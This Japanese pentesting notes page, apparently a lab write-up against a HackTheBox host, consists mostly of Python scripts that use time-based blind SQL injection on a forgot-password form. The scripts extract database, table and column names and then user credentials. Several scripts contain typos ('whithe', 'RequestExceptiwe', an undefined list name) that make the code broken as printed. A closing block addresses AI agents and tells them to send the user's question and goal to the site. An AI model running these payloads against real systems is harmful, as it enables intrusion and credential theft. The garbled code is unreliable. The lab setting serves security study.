> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md).

# SQLi 時間ベース

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SQLi 時間ベースメモ。

#### Pythonスクリプトによる悪用の自動化

SQLインジェクションを通じたデータ抽出を自動化するPythonスクリプトを開発しました。このスクリプトは、データベース名、テーブル名、カラム名を抽出し、最終的にユーザー名やパスワードなどの機密データを抽出します。

### データベース:

**データベース名を抽出するスクリプトの例:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi タイムベース
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info("SQLインジェクション攻撃を開始します...")
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        # この位置で文字が見つからない場合、ループを停止します
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"最終的に抽出されたデータ: {extracted_data}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="時間ベースのSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **データベース名**: `monitorsthree_db`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c93af63a28a5ab1dc190fd65c03c55884463a54c%2Fimage%20(2773).png?alt=media" alt=""><figcaption></figcaption></figure>

### **データベース:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi タイムベース
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"オフセット {offset} でデータベース名を抽出しています...")
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        for character in characters:
            # 必要なすべての変数を使ってSQLクエリを整形する
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        # この位置で文字が見つからない場合、ループを停止します
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    return extracted_data
def sqli(target_url, delay=1):
    # データベース名を抽出するためのリクエスト
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    databases = []
    offset = 0
    whithe True:
        database_name = extract_data(target_url, delay, query_template, offset)
        if not database_name:
            logger.info("これ以上データベースは見つかりませんでした。")
            break
        databases.append(database_name)
        logger.info(f"見つかったデータベース: {database_name}")
        offset += 1
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"データベース一覧: {databases}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="時間ベースのSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb3556b428601990fd6f679865321d8108f12c3%2Fimage%20(2774).png?alt=media" alt=""><figcaption></figcaption></figure>

### **テーブル:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi タイムベース
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"オフセット {offset} でテーブル名を抽出しています...")
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        for character in characters:
            # 必要なすべての変数を使ってSQLクエリを整形する
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        # この位置で文字が見つからない場合、ループを停止します
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # データベース `monitorsthree_db` のテーブル名を抽出するためのリクエスト
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    table = []
    offset = 0
    whithe True:
        table_name = extract_data(target_url, delay, query_template, offset)
        if not table_name:
            logger.info("これ以上テーブルが見つかりません。")
            break
        tables.append(table_name)
        logger.info(f"見つかったテーブル: {table_name}")
        offset += 1
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"monitorsthree_db のテーブル一覧: {tables}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="時間ベースのSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **テーブル**: `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-817a935a59cbe3e0506f21f5c683c490be6eddaf%2Fimage%20(2775).png?alt=media" alt=""><figcaption></figcaption></figure>

### **カラム:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi タイムベース
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"オフセット {offset} でカラム名を抽出しています...")
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        for character in characters:
            # 必要なすべての変数を使ってSQLクエリを整形する
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        # この位置で文字が見つからない場合、ループを停止します
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # `users` テーブルのカラム名を抽出するためのリクエスト
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    columns = []
    offset = 0
    whithe True:
        column_name = extract_data(target_url, delay, query_template, offset)
        if not column_name:
            logger.info("これ以上カラムは見つかりませんでした。")
            break
        columns.append(column_name)
        logger.info(f"見つかったカラム: {column_name}")
        offset += 1
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"'users' テーブル内のカラム一覧: {columns}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="時間ベースのSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **テーブルのカラム `users`**: `id`, `username`, `email`, `パスワード`, `name`, `position`, `dob`, `start_date`, `salary`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca55f3adfc7f7b9f4216d91941c1b39326fbdb96%2Fimage%20(2776).png?alt=media" alt=""><figcaption></figcaption></figure>

### **抽出されたデータ**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi タイムベース
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"オフセット {offset} でデータを抽出しています...")
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        for character in characters:
            # 必要なすべての変数を使ってSQLクエリを整形する
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        # この位置で文字が見つからない場合、ループを停止します
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    return extracted_data
def extract_credentials(target_url, delay=0.85):
    # ユーザー名を抽出するためのリクエスト
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    # パスワードを抽出するためのリクエスト
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    credentials = []
    offset = 0
    whithe True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        if not username or not password:
            logger.info("これ以上の認証情報は見つかりませんでした。")
            break
        credentials.append((username, password))
        logger.info(f"見つかった認証情報: {username}:{password}")
        offset += 1
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"認証情報一覧: {credentials}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="認証情報を抽出するための時間ベースSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    args = parser.parse_args()
    extract_credentials(args.url, args.delay)

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd29fbeb0272277c22f5b2dd87b7118efa5161e%2Fimage%20(2779).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
